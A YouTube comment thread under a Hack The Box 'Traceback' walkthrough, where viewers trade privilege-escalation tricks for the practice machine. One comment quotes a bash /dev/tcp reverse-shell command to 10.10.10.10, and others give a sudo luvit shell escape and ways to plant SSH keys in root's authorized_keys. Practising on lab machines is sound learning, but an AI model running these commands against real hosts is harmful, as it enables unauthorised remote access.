31:00 " oh we're greping for chron, that expl...doesn't explain it " lolol I love these videos it shows exactly how the process goes and I can't get enough .
@user-cx7zf1jn7t
4 жыл бұрын
Love green linux boxes, this type is the only where beginners can fun
@ca7986
4 жыл бұрын
❤️
@orfikospyguy1227
4 жыл бұрын
More like a medium I would say
@d4rckh122
4 жыл бұрын
Heh even experienced users find the fun only in easy boxes 😅
@1tracker
4 жыл бұрын
Hey IppSec, thank you for the informative videos. It was my first ever rooted live box on HTB and after watching your video I have realised how valuable the experience is. Thank you.
@imperium305
4 жыл бұрын
Was looking forward to this because for some reason I had such a hard time getting a reverse shell back from editing the MOTD, eventually had to just settle for echoing the root flag. I'm not exactly sure why but maybe it's because I didn't do "bash -i "" and just instead did bash reverse shell by itself. Fun box and thanks for the video!
@GamerMeiogordo
4 жыл бұрын
Also had some trouble with that. What I ended up doing was writing my ssh key to root's authorized_keys and SSHing in. I only thought of doing so in my second time around, when I was preparing for my writeup, though :D
@imperium305
4 жыл бұрын
@@GamerMeiogordo Ah that makes sense, I had used the smevk.php file in order to drop authorized key but for the lower user, should've attempted that for root. Thanks for the tip!
@mr.fakeman4718
4 жыл бұрын
You know the feeling when you watch IppSec videos just because you are sad? It's weird. However, it just happened to me.
@TalsonHacks
3 жыл бұрын
Hope you're doing okay, my friend💜
@bibikski2270
4 жыл бұрын
Thank you for taking the time to do the walk through!
@Dontfkwithme69
4 жыл бұрын
So much to learn from this video. Thank you IppSec!
@mrinaljaiswal3251
4 жыл бұрын
Hey Ippsec. Nice to be second commenting on your video. Again great work as usual.
@ThenSmoly
3 жыл бұрын
Learned a lot with SSH keys and lua scripting :)
@themasterofdisastr1226
4 жыл бұрын
FYI: Lua is also used to handle the game logic in a lot of computer games.
@emT__T
4 жыл бұрын
great walkthrough! thanks for explaining your thinking process.
@Rojawa
4 жыл бұрын
LUA is basically the entire Base of every World of Warcraft Addon and every Garrys Mod hack :D
@lloyd-wright
3 жыл бұрын
Thank you IppSec you always help me learn something new.
@abisrug4898
4 жыл бұрын
great tutorial ....btw in order to privesc u could have used sudo -u sysadmin /home/sysadmin/luvit -e 'os.exexcute("/bin/sh")'
@myhackertech
4 жыл бұрын
Excellent walk-through !
@somethingamongthebytes9228
4 жыл бұрын
Always legendary!! 🔥❤️
@cvija997
4 жыл бұрын
Hey ippsec, i was wondering is there a chance we can get your parrot system mount to download? Great content as always, much love.
@Hexeption
4 жыл бұрын
github.com/theGuildHall/pwnbox Here is a guide to set it up
@evildead7845
4 жыл бұрын
Here I found this ! Its not his but similar to HTB's pwnbox github.com/theGuildHall/pwnbox
@cvija997
4 жыл бұрын
@@duckie4670 i tried :'D
@cvija997
4 жыл бұрын
@@evildead7845 thanks buddy
@rakenso
4 жыл бұрын
-sC -sV can be combined with -sCV
@debprasadbanerjee5005
3 жыл бұрын
thx
@ipduffy
4 жыл бұрын
Maybe I missed something but your statement: "The box has been hacked and people have hired you to do some sort of incident response...". Where on HTB do you get this theme info?
@ippsec
4 жыл бұрын
Just an assumption based upon the webshell being there. Combine that with the name trace, it seems like that’s the scenario it’s going for.
@johnpathe
4 жыл бұрын
Why does ippsec go from looking at /var/backups/.update... to looking at cron related things? a quick google of .update-motd.d doesnt give any cron related hints either. is this just system knowledge stuff or did ippsec have an idea of looking at cron after seeing this content?
@tomasgorda
4 жыл бұрын
i love your videos
@v.6023
4 жыл бұрын
Damn, you are good, new sub!
@GamerMeiogordo
4 жыл бұрын
When I tried a reverse shell on the MOTD scripts they weren't working. Was this due to the bash -c 'bash -i' trick? Alternatively I just used the script to write to /root/.ssh/authorized_keys, so that worked as well
@zaviermiller8980
2 жыл бұрын
I was thinking abt this. It seems like since the Lua script runs as root, you can just write to the root ssh key and skip the user flag. Not sure tho @ippsec
@ThoughtsChannelYT
4 жыл бұрын
Btw you can also host a SimpleHTTPServer with python -m SimpleHTTPServer instead of running an apache server to push files to the victim's target. i find the python method way simpler and faster.
@0ceanman3
4 жыл бұрын
nice zsh theme
@vonniehudson
4 жыл бұрын
@22:00 learned a new command: stat! Thanks @ippsec
@kalidsherefuddin
Жыл бұрын
Thanks
@Personalaccountgusti
4 жыл бұрын
really confusing playing htb, how do u guys know when to google, nmap, view source, and choosing fuzz wordlist?
@Swisha85
3 жыл бұрын
experience, and intuition
@aminhatami3928
4 жыл бұрын
❤❤
@ItsMeooooooo
4 жыл бұрын
It seems to me, that you did this vid in a hurry :)
@AndresMolinaR
4 жыл бұрын
IppSec, by any chance you have a lab or walkthrough of recovering data on true crypt hidden volumes, I been working lately trying to recover a backup, perhaps I'm your experience you've run through this can give me a nudge. Thanks
@clubby7893
4 жыл бұрын
Would scripts like LinPEASS/PowerUp ever be used in a real life situation? They always seemed pretty noisy to me, but I was interested to know if they're useful
@n_9565
4 жыл бұрын
Hello, beginner here and I could use some help. After I run nmap -sC -sV -oA nmap/traceback 10.10.10.181 and get they out put I try to follow along and use the cd /opt/SecLists/ and cd Discovery/ commands but all I get back is " The specified path does not exist" messages. I don't really see what I could have done wrong since I was following the vid, any advice would be greatly appreciated!
@tristanmartin49
4 жыл бұрын
These files are from github and do not come with your standard OS installation (I'm assuming you're using Kali linux instead of Parrot). Ippsec has already downloaded them to the machine in this video. If you search github for "SecLists" (github.com/danielmiessler/SecLists) you can download these to your machine using git clone and continue from there
@TheHackTodayOfficial
4 жыл бұрын
Isn't your channel monetized? Should I be investing time on youtube for walkthrough videos?
@egg5474
4 жыл бұрын
lol I doubt it, relying on views is a bad business model for technical/long-format creators, start using a subscription service like subscribe star and/or crypto-wallets in all the common currencies for donations. Many channels do this as it promotes quality over quantity and you won't be beholden to anyone/ creating clickbait filler content.
@nullnull6032
3 жыл бұрын
Hi, thank you for the video, I have a question, why did you use : bash -c ‘bash -i >& /dev/tcp/10.10.10.10/3333 9>&1 ' and not directly bash -i >& /dev/tcp/10.10.10.10/3333 9>&1
@ryanboland7307
2 жыл бұрын
In some cases that will not work.
@zac5636
4 жыл бұрын
what other options are there for the .lua script you could write? could you just write a reverse shell in .lua ?
@ralesarcevic
4 жыл бұрын
Pretty sure he could've just read /etc/shadow and /etc/passwd, throwing them at John, or even more direct just read the root.txt (since he can sudo without a password, if he writes a script that reads those files I think it's possible to simply read all those files with escalated privileges)
@zac5636
4 жыл бұрын
@@ralesarcevic or I spose he could've wrote to /etc/passwd ?
@ippsec
4 жыл бұрын
The user does not have root priv, so could not have done that. I could have just done like os.execute() for a revshell but ssh keys more stable and also a persistence
@toby9439
4 жыл бұрын
You can also just check gtfo bins for lua related stuff. Some good alternatives. Like @ippsec said though, ssh key is going to be the most stable provided that it's open and accepting no-pass logins.
@ralesarcevic
4 жыл бұрын
@@ippsec my bad, seems like my understanding of having (NOPASSWD) on a binary in sudoers is bad, aka it doesn't mean you can get root privileges via executing said binary unless the user is root, but you can only gain privileges of that user
@anthonysimonyan4763
4 жыл бұрын
what do the -c and -i commands do at 6:19 ?
@ippsec
4 жыл бұрын
/dec/tcp/ is a weird bash thing, sometimes webservers will use less featured shells like sh/ash/etc to launch the process. So having bash -c means to use bash to execute the next command (makes sure you have /dev/tcp). The -i just means interactive and is needed for the revshell.
@anthonysimonyan4763
4 жыл бұрын
@@ippsec I see .thanks
@rayaanhussain7279
4 жыл бұрын
-c means command. -i means interactive . that command tells bash to execute an interactive bash shell.
@keshavakumar9828
4 жыл бұрын
could anyone explain this in breif .. like what is this whats this called how you can learn thanks
@rishabhkumarchaudhary5806
4 жыл бұрын
this box/browser-based-machine is available on www.hackthebox.eu . Basically it is a website which provides you with many machines on which you can perform your hacking skills or practice for the OSCP certification the machine which are given in this certification are likely to be like this . If you are a beginner and want to learn this then i would recommend you to first visit tryhackme.com it is the best place to start there you will be guided which machines you should complete first and it also contains various walk through which can guide you better . When you gain a little confidence that you know what you have to do then you can move on to this site . Make sure to keep and maintain notes on every machine you work on it will help you in future if you prepare for OSCP I hope this clears your doubt
@adithya6208
4 жыл бұрын
Would like to know ur tmux configuration
@chrissxMedia
4 жыл бұрын
just btw: wget -O -
@Ms.Robot.
4 жыл бұрын
Very nice❤💗.I have to send more money. So good, I have to.
@girishpadia6449
4 жыл бұрын
What is the source of your SecList? Is it available on GitHub?
I had a lot of fun with this box. Neat idea appending to authorized_keys; I ended up using GTFOBins to spawn a shell as sysadmin. gtfobins.github.io/gtfobins/lua/#shell
@GuiltySpark
4 жыл бұрын
Creative ?
@ARZ10198
4 жыл бұрын
Is this retired machine ?
@user-fp6dt1os1l
4 жыл бұрын
Lua is pronounced loo-er
@0x2d
4 жыл бұрын
He says "loo-er" at 14:18. You actually think he doesn't know how to pronounce it?
Пікірлер: 77